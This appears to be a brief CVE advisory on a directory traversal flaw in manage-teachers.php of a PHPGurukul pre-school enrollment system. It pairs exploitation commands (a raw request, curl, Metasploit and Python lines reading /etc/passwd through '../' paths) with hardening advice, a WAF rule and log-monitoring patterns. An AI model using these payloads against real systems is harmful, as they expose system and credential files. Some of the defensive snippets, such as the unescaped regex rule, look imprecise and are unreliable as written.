How CVE-2025-28072 Works
The vulnerability exists in `manage-teachers.php` due to improper input validation. Attackers exploit directory traversal by manipulating file path parameters (e.g., ../../) to access restricted files outside the web root. The system fails to sanitize user-supplied paths, allowing unauthorized read/write operations. This can lead to sensitive data exposure (e.g., /etc/passwd, config files) or remote code execution if combined with file upload flaws.
DailyCVE Form
Platform: PHPGurukul
Version: Pre-School Enrollment
Vulnerability: Directory Traversal
Severity: Critical
Date: 04/28/2025
What Undercode Say:
Exploitation
1. Craft malicious request:
GET /manage-teachers.php?file=../../../../etc/passwd HTTP/1.1 Host: target.com
2. Automated testing with curl:
curl -s "http://target.com/manage-teachers.php?file=../../../../etc/passwd" | grep root
3. Exploit with Metasploit:
use auxiliary/scanner/http/dir_traversal set RHOSTS target.com set TARGETURI /manage-teachers.php run
Protection
1. Input sanitization:
$file = basename($_GET['file']); // Strip path traversal chars
2. Web server hardening:
<Directory /var/www/html> AllowOverride None Options -Indexes </Directory>
3. Patch verification:
grep -r "basename(" /var/www/html/ Check for unsanitized inputs
4. WAF rules:
location ~ .php$ {
if ($args ~ "../") { return 403; }
}
5. Log monitoring:
tail -f /var/log/apache2/access.log | grep -E "../|%2e%2e"
6. Exploit detection:
import requests
response = requests.get("http://target.com/manage-teachers.php?file=../../../../etc/passwd")
if "root:" in response.text:
print("Vulnerable to CVE-2025-28072")
